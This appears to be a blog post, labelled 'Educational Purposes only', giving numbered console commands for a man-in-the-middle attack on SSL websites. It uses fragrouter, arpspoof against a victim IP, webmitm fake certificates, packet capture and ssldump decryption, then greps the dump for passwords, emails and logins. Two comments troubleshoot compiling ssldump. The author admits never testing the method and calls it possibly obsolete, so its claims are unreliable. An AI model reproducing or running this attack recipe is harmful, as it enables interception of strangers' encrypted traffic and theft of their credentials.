Method-Using SSLDump (Educational Purposes only)


I have looked around many post described   for *nix platform . In my opinion this would be the best example  some  one write, this tutorial on how to Arp Cache Poison SSL Websites. Or in other order to use on sites SSL.
this information I have not test yet because. I have facing ssldump ERROR: Couldn’t create network handler
Tools Required
Fragrouter
Arpspoof
Dnsspoof
Webmitm
Ethereal (Or Wireshark as I believe its called these days)
SSLdump

Method
In a console do the following:
1) fragrouter -B1
2) arpspoof -t VictimsIP Router Eg, arpspoof -t 192.168.1.100 192.168.1.1

This will placed yourself between the Router (192.168.1.1) and your victim (192.168.1.100)
This will create a SSL Certificate that the victim will hopefully accept. If they dont, the attack will be unsuccessful.

3) webmitm -d You will need to fill in the required fields. This is your certificate.
4) Open up Ethereal and start capturing your packets.

When (if) the victim accepts your fake SSL certificate, Ethereal will start getting a lot of activity. When this happens, stop Ethereal and save your packets to a dump file.

Now its time to read the data icon cool Method Using SSLDump (Educational Purposes only)

5) ssldump -r <dumped-file-name> -k webmitm.crt -d > DUMP

What that command will do is open your Ethereal dump file DUMPFILE and run it against your fake certificate webmitm.crt and write the data to a file called DUMP. The DUMP file will contain the unencrypted packets.

You can now just GREP the dump file to find the login data. For example,

cat dump | grep PASSWORD

You can change PASSWORD to other interesting things such as EMAIL, LOGIN etc…

I  have not tested yet but people are saying this on lots of occasions may be it working for some or this may be obsolete method.  What every this method is but it is purely for educational purposes.

Related Posts:

  • No Related Posts
Related Websites
Posted in : Support
Tags:

2 Comments to “Method-Using SSLDump (Educational Purposes only)”

Add Comments (+)

  1. admin says:

    When i configure ssldump using .tar method extract all the files using tar -zxf ssldump-0.9b3.tar.gz command like and then
    ./configure
    make
    make install
    cd ssldump-0.9b3
    ./configure –with-openssl
    make
    Then it it displays this output
    gcc -g -O2 -DHAVE_LIBM=1 -DHAVE_SYS_TIME_H=1 -DSTDC_HEADERS=1 -DTIME_WITH_SYS_TIME=1 -DSIZEOF_UNSIGNED_SHORT=2 -DSIZEOF_UNSIGNED_INT=4 -DSIZEOF_UNSIGNED_LONG=4 -DSIZEOF_UNSIGNED_LONG_LONG=8 -DRETSIGTYPE=void -DHAVE_VPRINTF=1 -DHAVE_STRDUP=1 -c -o pcap-snoop.o ./base/pcap-snoop.c -D_BSD_SOURCE=1 -DLINUX -I./base/ -I./null/ -I./ssl/ -Icommon/include/ -I./null/ -I./ssl/
    ./base/pcap-snoop.c:52:21: error: net/bpf.h: No such file or directory
    ./base/pcap-snoop.c: In function âmainâ:
    ./base/pcap-snoop.c:207: warning: passing argument 2 of âsignalâ from incompatible pointer type
    ./base/pcap-snoop.c:329: warning: passing argument 3 of âpcap_loopâ from incompatible pointer type
    make: *** [pcap-snoop.o] Error 1
    any idea please comment

  2. admin says:

    Solution
    When building the ssldump tool on RedHat Linux, SSLDUMPfails with the following error message:

    ./base/pcap-snoop.c:52:21: error: net/bpf.h: No such file or directory
    Explanation:
    The build is looking for an include file, which is in the wrong place under the wrong file name when downloading and installing libpcap from tcpdump.org.

    Solution:

    ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h

Leave a Reply